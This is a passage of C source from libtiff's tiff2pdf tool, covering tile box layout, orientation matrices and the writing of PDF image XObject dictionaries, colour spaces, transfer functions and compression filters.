((float)(t2p->tiff_width))/t2p->pdf_xres; t2p->pdf_imagelength = ((float)(t2p->tiff_length))/t2p->pdf_yres; } else { t2p->pdf_imagewidth = ((float)(t2p->tiff_width))*PS_UNIT_SIZE/t2p->pdf_xres; t2p->pdf_imagelength = ((float)(t2p->tiff_length))*PS_UNIT_SIZE/t2p->pdf_yres; } if(t2p->pdf_overridepagesize != 0) { t2p->pdf_pagewidth = t2p->pdf_defaultpagewidth; t2p->pdf_pagelength = t2p->pdf_defaultpagelength; } else { t2p->pdf_pagewidth = t2p->pdf_imagewidth; t2p->pdf_pagelength = t2p->pdf_imagelength; } t2p->pdf_mediabox.x1=0.0; t2p->pdf_mediabox.y1=0.0; t2p->pdf_mediabox.x2=t2p->pdf_pagewidth; t2p->pdf_mediabox.y2=t2p->pdf_pagelength; t2p->pdf_imagebox.x1=0.0; t2p->pdf_imagebox.y1=0.0; t2p->pdf_imagebox.x2=t2p->pdf_imagewidth; t2p->pdf_imagebox.y2=t2p->pdf_imagelength; if(t2p->pdf_overridepagesize!=0){ t2p->pdf_imagebox.x1+=((t2p->pdf_pagewidth-t2p->pdf_imagewidth)/2.0F); t2p->pdf_imagebox.y1+=((t2p->pdf_pagelength-t2p->pdf_imagelength)/2.0F); t2p->pdf_imagebox.x2+=((t2p->pdf_pagewidth-t2p->pdf_imagewidth)/2.0F); t2p->pdf_imagebox.y2+=((t2p->pdf_pagelength-t2p->pdf_imagelength)/2.0F); } if(t2p->tiff_orientation > 4){ f=t2p->pdf_mediabox.x2; t2p->pdf_mediabox.x2=t2p->pdf_mediabox.y2; t2p->pdf_mediabox.y2=f; } istiled=((t2p->tiff_tiles[t2p->pdf_page]).tiles_tilecount==0) ? 0 : 1; if(istiled==0){ t2p_compose_pdf_page_orient(&(t2p->pdf_imagebox), t2p->tiff_orientation); return; } else { tilewidth=(t2p->tiff_tiles[t2p->pdf_page]).tiles_tilewidth; tilelength=(t2p->tiff_tiles[t2p->pdf_page]).tiles_tilelength; if( tilewidth > INT_MAX || tilelength > INT_MAX || t2p->tiff_width > INT_MAX - tilewidth || t2p->tiff_length > INT_MAX - tilelength ) { TIFFError(TIFF2PDF_MODULE, "Integer overflow"); t2p->t2p_error = T2P_ERR_ERROR; return; } tilecountx=(t2p->tiff_width + tilewidth -1)/ tilewidth; (t2p->tiff_tiles[t2p->pdf_page]).tiles_tilecountx=tilecountx; tilecounty=(t2p->tiff_length + tilelength -1)/ tilelength; (t2p->tiff_tiles[t2p->pdf_page]).tiles_tilecounty=tilecounty; (t2p->tiff_tiles[t2p->pdf_page]).tiles_edgetilewidth= t2p->tiff_width % tilewidth; (t2p->tiff_tiles[t2p->pdf_page]).tiles_edgetilelength= t2p->tiff_length % tilelength; tiles=(t2p->tiff_tiles[t2p->pdf_page]).tiles_tiles; for(i2=0;i2<tilecounty-1;i2++){ for(i=0;i<tilecountx-1;i++){ boxp=&(tiles[i2*tilecountx+i].tile_box); boxp->x1 = t2p->pdf_imagebox.x1 + ((float)(t2p->pdf_imagewidth * i * tilewidth) / (float)t2p->tiff_width); boxp->x2 = t2p->pdf_imagebox.x1 + ((float)(t2p->pdf_imagewidth * (i+1) * tilewidth) / (float)t2p->tiff_width); boxp->y1 = t2p->pdf_imagebox.y2 - ((float)(t2p->pdf_imagelength * (i2+1) * tilelength) / (float)t2p->tiff_length); boxp->y2 = t2p->pdf_imagebox.y2 - ((float)(t2p->pdf_imagelength * i2 * tilelength) / (float)t2p->tiff_length); } boxp=&(tiles[i2*tilecountx+i].tile_box); boxp->x1 = t2p->pdf_imagebox.x1 + ((float)(t2p->pdf_imagewidth * i * tilewidth) / (float)t2p->tiff_width); boxp->x2 = t2p->pdf_imagebox.x2; boxp->y1 = t2p->pdf_imagebox.y2 - ((float)(t2p->pdf_imagelength * (i2+1) * tilelength) / (float)t2p->tiff_length); boxp->y2 = t2p->pdf_imagebox.y2 - ((float)(t2p->pdf_imagelength * i2 * tilelength) / (float)t2p->tiff_length); } for(i=0;i<tilecountx-1;i++){ boxp=&(tiles[i2*tilecountx+i].tile_box); boxp->x1 = t2p->pdf_imagebox.x1 + ((float)(t2p->pdf_imagewidth * i * tilewidth) / (float)t2p->tiff_width); boxp->x2 = t2p->pdf_imagebox.x1 + ((float)(t2p->pdf_imagewidth * (i+1) * tilewidth) / (float)t2p->tiff_width); boxp->y1 = t2p->pdf_imagebox.y1; boxp->y2 = t2p->pdf_imagebox.y2 - ((float)(t2p->pdf_imagelength * i2 * tilelength) / (float)t2p->tiff_length); } boxp=&(tiles[i2*tilecountx+i].tile_box); boxp->x1 = t2p->pdf_imagebox.x1 + ((float)(t2p->pdf_imagewidth * i * tilewidth) / (float)t2p->tiff_width); boxp->x2 = t2p->pdf_imagebox.x2; boxp->y1 = t2p->pdf_imagebox.y1; boxp->y2 = t2p->pdf_imagebox.y2 - ((float)(t2p->pdf_imagelength * i2 * tilelength) / (float)t2p->tiff_length); } if(t2p->tiff_orientation==0 || t2p->tiff_orientation==1){ for(i=0;i<(t2p->tiff_tiles[t2p->pdf_page]).tiles_tilecount;i++){ t2p_compose_pdf_page_orient( &(tiles[i].tile_box) , 0); } return; } for(i=0;i<(t2p->tiff_tiles[t2p->pdf_page]).tiles_tilecount;i++){ boxp=&(tiles[i].tile_box); boxp->x1 -= t2p->pdf_imagebox.x1; boxp->x2 -= t2p->pdf_imagebox.x1; boxp->y1 -= t2p->pdf_imagebox.y1; boxp->y2 -= t2p->pdf_imagebox.y1; if(t2p->tiff_orientation==2 || t2p->tiff_orientation==3){ boxp->x1 = t2p->pdf_imagebox.x2 - t2p->pdf_imagebox.x1 - boxp->x1; boxp->x2 = t2p->pdf_imagebox.x2 - t2p->pdf_imagebox.x1 - boxp->x2; } if(t2p->tiff_orientation==3 || t2p->tiff_orientation==4){ boxp->y1 = t2p->pdf_imagebox.y2 - t2p->pdf_imagebox.y1 - boxp->y1; boxp->y2 = t2p->pdf_imagebox.y2 - t2p->pdf_imagebox.y1 - boxp->y2; } if(t2p->tiff_orientation==8 || t2p->tiff_orientation==5){ boxp->y1 = t2p->pdf_imagebox.y2 - t2p->pdf_imagebox.y1 - boxp->y1; boxp->y2 = t2p->pdf_imagebox.y2 - t2p->pdf_imagebox.y1 - boxp->y2; } if(t2p->tiff_orientation==5 || t2p->tiff_orientation==6){ boxp->x1 = t2p->pdf_imagebox.x2 - t2p->pdf_imagebox.x1 - boxp->x1; boxp->x2 = t2p->pdf_imagebox.x2 - t2p->pdf_imagebox.x1 - boxp->x2; } if(t2p->tiff_orientation > 4){ f=boxp->x1; boxp->x1 = boxp->y1; boxp->y1 = f; f=boxp->x2; boxp->x2 = boxp->y2; boxp->y2 = f; t2p_compose_pdf_page_orient_flip(boxp, t2p->tiff_orientation); } else { t2p_compose_pdf_page_orient(boxp, t2p->tiff_orientation); } } return; } void t2p_compose_pdf_page_orient(T2P_BOX* boxp, uint16 orientation){ float m1[9]; float f=0.0; if( boxp->x1 > boxp->x2){ f=boxp->x1; boxp->x1=boxp->x2; boxp->x2 = f; } if( boxp->y1 > boxp->y2){ f=boxp->y1; boxp->y1=boxp->y2; boxp->y2 = f; } boxp->mat[0]=m1[0]=boxp->x2-boxp->x1; boxp->mat[1]=m1[1]=0.0; boxp->mat[2]=m1[2]=0.0; boxp->mat[3]=m1[3]=0.0; boxp->mat[4]=m1[4]=boxp->y2-boxp->y1; boxp->mat[5]=m1[5]=0.0; boxp->mat[6]=m1[6]=boxp->x1; boxp->mat[7]=m1[7]=boxp->y1; boxp->mat[8]=m1[8]=1.0; switch(orientation){ case 0: case 1: break; case 2: boxp->mat[0]=0.0F-m1[0]; boxp->mat[6]+=m1[0]; break; case 3: boxp->mat[0]=0.0F-m1[0]; boxp->mat[4]=0.0F-m1[4]; boxp->mat[6]+=m1[0]; boxp->mat[7]+=m1[4]; break; case 4: boxp->mat[4]=0.0F-m1[4]; boxp->mat[7]+=m1[4]; break; case 5: boxp->mat[0]=0.0F; boxp->mat[1]=0.0F-m1[0]; boxp->mat[3]=0.0F-m1[4]; boxp->mat[4]=0.0F; boxp->mat[6]+=m1[4]; boxp->mat[7]+=m1[0]; break; case 6: boxp->mat[0]=0.0F; boxp->mat[1]=0.0F-m1[0]; boxp->mat[3]=m1[4]; boxp->mat[4]=0.0F; boxp->mat[7]+=m1[0]; break; case 7: boxp->mat[0]=0.0F; boxp->mat[1]=m1[0]; boxp->mat[3]=m1[4]; boxp->mat[4]=0.0F; break; case 8: boxp->mat[0]=0.0F; boxp->mat[1]=m1[0]; boxp->mat[3]=0.0F-m1[4]; boxp->mat[4]=0.0F; boxp->mat[6]+=m1[4]; break; } return; } void t2p_compose_pdf_page_orient_flip(T2P_BOX* boxp, uint16 orientation){ float m1[9]; float f=0.0; if( boxp->x1 > boxp->x2){ f=boxp->x1; boxp->x1=boxp->x2; boxp->x2 = f; } if( boxp->y1 > boxp->y2){ f=boxp->y1; boxp->y1=boxp->y2; boxp->y2 = f; } boxp->mat[0]=m1[0]=boxp->x2-boxp->x1; boxp->mat[1]=m1[1]=0.0F; boxp->mat[2]=m1[2]=0.0F; boxp->mat[3]=m1[3]=0.0F; boxp->mat[4]=m1[4]=boxp->y2-boxp->y1; boxp->mat[5]=m1[5]=0.0F; boxp->mat[6]=m1[6]=boxp->x1; boxp->mat[7]=m1[7]=boxp->y1; boxp->mat[8]=m1[8]=1.0F; switch(orientation){ case 5: boxp->mat[0]=0.0F; boxp->mat[1]=0.0F-m1[4]; boxp->mat[3]=0.0F-m1[0]; boxp->mat[4]=0.0F; boxp->mat[6]+=m1[0]; boxp->mat[7]+=m1[4]; break; case 6: boxp->mat[0]=0.0F; boxp->mat[1]=0.0F-m1[4]; boxp->mat[3]=m1[0]; boxp->mat[4]=0.0F; boxp->mat[7]+=m1[4]; break; case 7: boxp->mat[0]=0.0F; boxp->mat[1]=m1[4]; boxp->mat[3]=m1[0]; boxp->mat[4]=0.0F; break; case 8: boxp->mat[0]=0.0F; boxp->mat[1]=m1[4]; boxp->mat[3]=0.0F-m1[0]; boxp->mat[4]=0.0F; boxp->mat[6]+=m1[0]; break; } return; } /* This function writes a PDF Contents stream to output. */ tsize_t t2p_write_pdf_page_content_stream(T2P* t2p, TIFF* output){ tsize_t written=0; ttile_t i=0; char buffer[512]; int buflen=0; T2P_BOX box; if(t2p->tiff_tiles[t2p->pdf_page].tiles_tilecount>0){ for(i=0;i<t2p->tiff_tiles[t2p->pdf_page].tiles_tilecount; i++){ box=t2p->tiff_tiles[t2p->pdf_page].tiles_tiles[i].tile_box; buflen=snprintf(buffer, sizeof(buffer), "q %s %.4f %.4f %.4f %.4f %.4f %.4f cm /Im%d_%ld Do Q\n", t2p->tiff_transferfunctioncount?"/GS1 gs ":"", box.mat[0], box.mat[1], box.mat[3], box.mat[4], box.mat[6], box.mat[7], t2p->pdf_page + 1, (long)(i + 1)); check_snprintf_ret(t2p, buflen, buffer); written += t2p_write_pdf_stream(buffer, buflen, output); } } else { box=t2p->pdf_imagebox; buflen=snprintf(buffer, sizeof(buffer), "q %s %.4f %.4f %.4f %.4f %.4f %.4f cm /Im%d Do Q\n", t2p->tiff_transferfunctioncount?"/GS1 gs ":"", box.mat[0], box.mat[1], box.mat[3], box.mat[4], box.mat[6], box.mat[7], t2p->pdf_page+1); check_snprintf_ret(t2p, buflen, buffer); written += t2p_write_pdf_stream(buffer, buflen, output); } return(written); } /* This function writes a PDF Image XObject stream dictionary to output. */ tsize_t t2p_write_pdf_xobject_stream_dict(ttile_t tile, T2P* t2p, TIFF* output){ tsize_t written=0; char buffer[32]; int buflen=0; written += t2p_write_pdf_stream_dict(0, t2p->pdf_xrefcount+1, output); written += t2pWriteFile(output, (tdata_t) "/Type /XObject \n/Subtype /Image \n/Name /Im", 42); buflen=snprintf(buffer, sizeof(buffer), "%u", t2p->pdf_page+1); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); if(tile != 0){ written += t2pWriteFile(output, (tdata_t) "_", 1); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)tile); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); } written += t2pWriteFile(output, (tdata_t) "\n/Width ", 8); if(tile==0){ buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->tiff_width); } else { if(t2p_tile_is_right_edge(t2p->tiff_tiles[t2p->pdf_page], tile-1)!=0){ buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilewidth); } else { buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->tiff_tiles[t2p->pdf_page].tiles_tilewidth); } } check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "\n/Height ", 9); if(tile==0){ buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->tiff_length); } else { if(t2p_tile_is_bottom_edge(t2p->tiff_tiles[t2p->pdf_page], tile-1)!=0){ buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilelength); } else { buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->tiff_tiles[t2p->pdf_page].tiles_tilelength); } } check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "\n/BitsPerComponent ", 19); buflen=snprintf(buffer, sizeof(buffer), "%u", t2p->tiff_bitspersample); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "\n/ColorSpace ", 13); written += t2p_write_pdf_xobject_cs(t2p, output); if (t2p->pdf_image_interpolate) written += t2pWriteFile(output, (tdata_t) "\n/Interpolate true", 18); if( (t2p->pdf_switchdecode != 0) #ifdef CCITT_SUPPORT && ! (t2p->pdf_colorspace & T2P_CS_BILEVEL && t2p->pdf_compression == T2P_COMPRESS_G4) #endif ){ written += t2p_write_pdf_xobject_decode(t2p, output); } written += t2p_write_pdf_xobject_stream_filter(tile, t2p, output); return(written); } /* * This function writes a PDF Image XObject Colorspace name to output. */ tsize_t t2p_write_pdf_xobject_cs(T2P* t2p, TIFF* output){ tsize_t written=0; char buffer[128]; int buflen=0; float X_W=1.0; float Y_W=1.0; float Z_W=1.0; if( (t2p->pdf_colorspace & T2P_CS_ICCBASED) != 0){ written += t2p_write_pdf_xobject_icccs(t2p, output); return(written); } if( (t2p->pdf_colorspace & T2P_CS_PALETTE) != 0){ written += t2pWriteFile(output, (tdata_t) "[ /Indexed ", 11); t2p->pdf_colorspace ^= T2P_CS_PALETTE; written += t2p_write_pdf_xobject_cs(t2p, output); t2p->pdf_colorspace |= T2P_CS_PALETTE; buflen=snprintf(buffer, sizeof(buffer), "%u", (0x0001 << t2p->tiff_bitspersample)-1 ); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " ", 1); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->pdf_palettecs ); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R ]\n", 7); return(written); } if(t2p->pdf_colorspace & T2P_CS_BILEVEL){ written += t2pWriteFile(output, (tdata_t) "/DeviceGray \n", 13); } if(t2p->pdf_colorspace & T2P_CS_GRAY){ if(t2p->pdf_colorspace & T2P_CS_CALGRAY){ written += t2p_write_pdf_xobject_calcs(t2p, output); } else { written += t2pWriteFile(output, (tdata_t) "/DeviceGray \n", 13); } } if(t2p->pdf_colorspace & T2P_CS_RGB){ if(t2p->pdf_colorspace & T2P_CS_CALRGB){ written += t2p_write_pdf_xobject_calcs(t2p, output); } else { written += t2pWriteFile(output, (tdata_t) "/DeviceRGB \n", 12); } } if(t2p->pdf_colorspace & T2P_CS_CMYK){ written += t2pWriteFile(output, (tdata_t) "/DeviceCMYK \n", 13); } if(t2p->pdf_colorspace & T2P_CS_LAB){ written += t2pWriteFile(output, (tdata_t) "[/Lab << \n", 10); written += t2pWriteFile(output, (tdata_t) "/WhitePoint ", 12); X_W = t2p->tiff_whitechromaticities[0]; Y_W = t2p->tiff_whitechromaticities[1]; Z_W = 1.0F - (X_W + Y_W); X_W /= Y_W; Z_W /= Y_W; Y_W = 1.0F; buflen=snprintf(buffer, sizeof(buffer), "[%.4f %.4f %.4f] \n", X_W, Y_W, Z_W); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "/Range ", 7); buflen=snprintf(buffer, sizeof(buffer), "[%d %d %d %d] \n", t2p->pdf_labrange[0], t2p->pdf_labrange[1], t2p->pdf_labrange[2], t2p->pdf_labrange[3]); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) ">>] \n", 5); } return(written); } tsize_t t2p_write_pdf_transfer(T2P* t2p, TIFF* output){ tsize_t written=0; char buffer[32]; int buflen=0; written += t2pWriteFile(output, (tdata_t) "<< /Type /ExtGState \n/TR ", 25); if(t2p->tiff_transferfunctioncount == 1){ buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)(t2p->pdf_xrefcount + 1)); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R ", 5); } else { written += t2pWriteFile(output, (tdata_t) "[ ", 2); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)(t2p->pdf_xrefcount + 1)); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R ", 5); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)(t2p->pdf_xrefcount + 2)); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R ", 5); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)(t2p->pdf_xrefcount + 3)); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R ", 5); written += t2pWriteFile(output, (tdata_t) "/Identity ] ", 12); } written += t2pWriteFile(output, (tdata_t) " >> \n", 5); return(written); } tsize_t t2p_write_pdf_transfer_dict(T2P* t2p, TIFF* output, uint16 i){ tsize_t written=0; char buffer[32]; int buflen=0; (void)i; /* XXX */ written += t2pWriteFile(output, (tdata_t) "/FunctionType 0 \n", 17); written += t2pWriteFile(output, (tdata_t) "/Domain [0.0 1.0] \n", 19); written += t2pWriteFile(output, (tdata_t) "/Range [0.0 1.0] \n", 18); buflen=snprintf(buffer, sizeof(buffer), "/Size [%u] \n", (1<<t2p->tiff_bitspersample)); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "/BitsPerSample 16 \n", 19); written += t2p_write_pdf_stream_dict(((tsize_t)1)<<(t2p->tiff_bitspersample+1), 0, output); return(written); } tsize_t t2p_write_pdf_transfer_stream(T2P* t2p, TIFF* output, uint16 i){ tsize_t written=0; written += t2p_write_pdf_stream( t2p->tiff_transferfunction[i], (((tsize_t)1)<<(t2p->tiff_bitspersample+1)), output); return(written); } /* This function writes a PDF Image XObject Colorspace array to output. */ tsize_t t2p_write_pdf_xobject_calcs(T2P* t2p, TIFF* output){ tsize_t written=0; char buffer[256]; int buflen=0; float X_W=0.0; float Y_W=0.0; float Z_W=0.0; float X_R=0.0; float Y_R=0.0; float Z_R=0.0; float X_G=0.0; float Y_G=0.0; float Z_G=0.0; float X_B=0.0; float Y_B=0.0; float Z_B=0.0; float x_w=0.0; float y_w=0.0; float z_w=0.0; float x_r=0.0; float y_r=0.0; float x_g=0.0; float y_g=0.0; float x_b=0.0; float y_b=0.0; float R=1.0; float G=1.0; float B=1.0; written += t2pWriteFile(output, (tdata_t) "[", 1); if(t2p->pdf_colorspace & T2P_CS_CALGRAY){ written += t2pWriteFile(output, (tdata_t) "/CalGray ", 9); X_W = t2p->tiff_whitechromaticities[0]; Y_W = t2p->tiff_whitechromaticities[1]; Z_W = 1.0F - (X_W + Y_W); X_W /= Y_W; Z_W /= Y_W; Y_W = 1.0F; } if(t2p->pdf_colorspace & T2P_CS_CALRGB){ written += t2pWriteFile(output, (tdata_t) "/CalRGB ", 8); x_w = t2p->tiff_whitechromaticities[0]; y_w = t2p->tiff_whitechromaticities[1]; x_r = t2p->tiff_primarychromaticities[0]; y_r = t2p->tiff_primarychromaticities[1]; x_g = t2p->tiff_primarychromaticities[2]; y_g = t2p->tiff_primarychromaticities[3]; x_b = t2p->tiff_primarychromaticities[4]; y_b = t2p->tiff_primarychromaticities[5]; z_w = y_w * ((x_g - x_b)*y_r - (x_r-x_b)*y_g + (x_r-x_g)*y_b); Y_R = (y_r/R) * ((x_g-x_b)*y_w - (x_w-x_b)*y_g + (x_w-x_g)*y_b) / z_w; X_R = Y_R * x_r / y_r; Z_R = Y_R * (((1-x_r)/y_r)-1); Y_G = ((0.0F-(y_g))/G) * ((x_r-x_b)*y_w - (x_w-x_b)*y_r + (x_w-x_r)*y_b) / z_w; X_G = Y_G * x_g / y_g; Z_G = Y_G * (((1-x_g)/y_g)-1); Y_B = (y_b/B) * ((x_r-x_g)*y_w - (x_w-x_g)*y_r + (x_w-x_r)*y_g) / z_w; X_B = Y_B * x_b / y_b; Z_B = Y_B * (((1-x_b)/y_b)-1); X_W = (X_R * R) + (X_G * G) + (X_B * B); Y_W = (Y_R * R) + (Y_G * G) + (Y_B * B); Z_W = (Z_R * R) + (Z_G * G) + (Z_B * B); X_W /= Y_W; Z_W /= Y_W; Y_W = 1.0; } written += t2pWriteFile(output, (tdata_t) "<< \n", 4); if(t2p->pdf_colorspace & T2P_CS_CALGRAY){ written += t2pWriteFile(output, (tdata_t) "/WhitePoint ", 12); buflen=snprintf(buffer, sizeof(buffer), "[%.4f %.4f %.4f] \n", X_W, Y_W, Z_W); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "/Gamma 2.2 \n", 12); } if(t2p->pdf_colorspace & T2P_CS_CALRGB){ written += t2pWriteFile(output, (tdata_t) "/WhitePoint ", 12); buflen=snprintf(buffer, sizeof(buffer), "[%.4f %.4f %.4f] \n", X_W, Y_W, Z_W); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "/Matrix ", 8); buflen=snprintf(buffer, sizeof(buffer), "[%.4f %.4f %.4f %.4f %.4f %.4f %.4f %.4f %.4f] \n", X_R, Y_R, Z_R, X_G, Y_G, Z_G, X_B, Y_B, Z_B); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "/Gamma [2.2 2.2 2.2] \n", 22); } written += t2pWriteFile(output, (tdata_t) ">>] \n", 5); return(written); } /* This function writes a PDF Image XObject Colorspace array to output. */ tsize_t t2p_write_pdf_xobject_icccs(T2P* t2p, TIFF* output){ tsize_t written=0; char buffer[32]; int buflen=0; written += t2pWriteFile(output, (tdata_t) "[/ICCBased ", 11); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->pdf_icccs); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " 0 R] \n", 7); return(written); } tsize_t t2p_write_pdf_xobject_icccs_dict(T2P* t2p, TIFF* output){ tsize_t written=0; char buffer[32]; int buflen=0; written += t2pWriteFile(output, (tdata_t) "/N ", 3); buflen=snprintf(buffer, sizeof(buffer), "%u \n", t2p->tiff_samplesperpixel); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) "/Alternate ", 11); t2p->pdf_colorspace ^= T2P_CS_ICCBASED; written += t2p_write_pdf_xobject_cs(t2p, output); t2p->pdf_colorspace |= T2P_CS_ICCBASED; written += t2p_write_pdf_stream_dict(t2p->tiff_iccprofilelength, 0, output); return(written); } tsize_t t2p_write_pdf_xobject_icccs_stream(T2P* t2p, TIFF* output){ tsize_t written=0; written += t2p_write_pdf_stream( (tdata_t) t2p->tiff_iccprofile, (tsize_t) t2p->tiff_iccprofilelength, output); return(written); } /* This function writes a palette stream for an indexed color space to output. */ tsize_t t2p_write_pdf_xobject_palettecs_stream(T2P* t2p, TIFF* output){ tsize_t written=0; written += t2p_write_pdf_stream( (tdata_t) t2p->pdf_palette, (tsize_t) t2p->pdf_palettesize, output); return(written); } /* This function writes a PDF Image XObject Decode array to output. */ tsize_t t2p_write_pdf_xobject_decode(T2P* t2p, TIFF* output){ tsize_t written=0; int i=0; written += t2pWriteFile(output, (tdata_t) "/Decode [ ", 10); for (i=0;i<t2p->tiff_samplesperpixel;i++){ written += t2pWriteFile(output, (tdata_t) "1 0 ", 4); } written += t2pWriteFile(output, (tdata_t) "]\n", 2); return(written); } /* This function writes a PDF Image XObject stream filter name and parameters to output. */ tsize_t t2p_write_pdf_xobject_stream_filter(ttile_t tile, T2P* t2p, TIFF* output){ tsize_t written=0; char buffer[32]; int buflen=0; if(t2p->pdf_compression==T2P_COMPRESS_NONE){ return(written); } written += t2pWriteFile(output, (tdata_t) "/Filter ", 8); switch(t2p->pdf_compression){ #ifdef CCITT_SUPPORT case T2P_COMPRESS_G4: written += t2pWriteFile(output, (tdata_t) "/CCITTFaxDecode ", 16); written += t2pWriteFile(output, (tdata_t) "/DecodeParms ", 13); written += t2pWriteFile(output, (tdata_t) "<< /K -1 ", 9); if(tile==0){ written += t2pWriteFile(output, (tdata_t) "/Columns ", 9); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->tiff_width); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " /Rows ", 7); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->tiff_length); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); } else { if(t2p_tile_is_right_edge(t2p->tiff_tiles[t2p->pdf_page], tile-1)==0){ written += t2pWriteFile(output, (tdata_t) "/Columns ", 9); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->tiff_tiles[t2p->pdf_page].tiles_tilewidth); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); } else { written += t2pWriteFile(output, (tdata_t) "/Columns ", 9); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilewidth); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); } if(t2p_tile_is_bottom_edge(t2p->tiff_tiles[t2p->pdf_page], tile-1)==0){ written += t2pWriteFile(output, (tdata_t) " /Rows ", 7); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->tiff_tiles[t2p->pdf_page].tiles_tilelength); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); } else { written += t2pWriteFile(output, (tdata_t) " /Rows ", 7); buflen=snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->tiff_tiles[t2p->pdf_page].tiles_edgetilelength); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); } } if(t2p->pdf_switchdecode == 0){ written += t2pWriteFile(output, (tdata_t) " /BlackIs1 true ", 16); } written += t2pWriteFile(output, (tdata_t) ">>\n", 3); break; #endif #ifdef JPEG_SUPPORT case T2P_COMPRESS_JPEG: written += t2pWriteFile(output, (tdata_t) "/DCTDecode ", 11); if(t2p->tiff_photometric != PHOTOMETRIC_YCBCR) { written += t2pWriteFile(output, (tdata_t) "/DecodeParms ", 13); written += t2pWriteFile(output, (tdata_t) "<< /ColorTransform 1 >>\n", 24); } break; #endif #ifdef ZIP_SUPPORT case T2P_COMPRESS_ZIP: written += t2pWriteFile(output, (tdata_t) "/FlateDecode ", 13); if(t2p->pdf_compressionquality%100){ written += t2pWriteFile(output, (tdata_t) "/DecodeParms ", 13); written += t2pWriteFile(output, (tdata_t) "<< /Predictor ", 14); buflen=snprintf(buffer, sizeof(buffer), "%u", t2p->pdf_compressionquality%100); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " /Columns ", 10); buflen = snprintf(buffer, sizeof(buffer), "%lu", (unsigned long)t2p->tiff_width); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " /Colors ", 9); buflen=snprintf(buffer, sizeof(buffer), "%u", t2p->tiff_samplesperpixel); check_snprintf_ret(t2p, buflen, buffer); written += t2pWriteFile(output, (tdata_t) buffer, buflen); written += t2pWriteFile(output, (tdata_t) " /BitsPerComponent ", 19); buflen=snprintf(buffer, sizeof(buffer), "%u", t2p->tiff_bitspersample); 